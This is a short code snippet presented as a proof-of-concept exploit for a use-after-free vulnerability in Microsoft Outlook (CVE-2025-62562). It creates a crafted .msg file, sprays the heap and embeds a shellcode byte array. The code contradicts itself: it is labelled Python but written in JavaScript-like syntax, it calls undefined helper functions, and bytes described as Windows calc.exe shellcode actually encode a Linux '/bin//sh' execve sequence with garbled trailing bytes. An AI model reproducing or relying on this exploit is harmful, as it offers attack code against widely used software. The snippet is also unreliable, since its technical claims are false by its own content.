The following code is for security research and authorized testing only.
python
// CVE-2025-62562 PoC - Use After Free in Microsoft Office Outlook
// This is a conceptual proof of concept demonstrating the vulnerability
// Step 1: Create a malicious .msg file with crafted object
function createMaliciousMsg() {
const maliciousObject = {
type: 'calendar_item',
trigger_use_after_free: true,
heap_spray_payload: generateShellcode()
};
// Serialize the malicious object to trigger memory corruption
return serializeMsgFile(maliciousObject);
}
// Step 2: Heap spraying technique to occupy freed memory
function generateShellcode() {
// x64 Windows calc.exe shellcode
const shellcode = [
0x48, 0x31, 0xC0, 0x48, 0x31, 0xFF, 0x48, 0x31,
0xF6, 0x48, 0x31, 0xFF, 0x48, 0x31, 0xF6, 0x50,
0x48, 0xBB, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x2F,
0x73, 0x68, 0x53, 0x48, 0x89, 0xE7, 0xB8, 0x3B,
0x00, 0x00, 0x00, 0x50, 0xE8, 0xB8, 0x00, 0x00,
0x00, 0x00, 0x31, 0xC0, 0x50, 0xE8, 0xB8, 0x00
];
return shellcode;
}
// Step 3: Trigger the vulnerability
function triggerVulnerability(msgFile) {
// Open the malicious .msg file in Outlook
outlook.open(msgFile);
// This will trigger the use-after-free condition
// and execute the shellcode if successful
}
// Note: This PoC is for educational purposes only
// Actual exploitation requires specific conditions and versions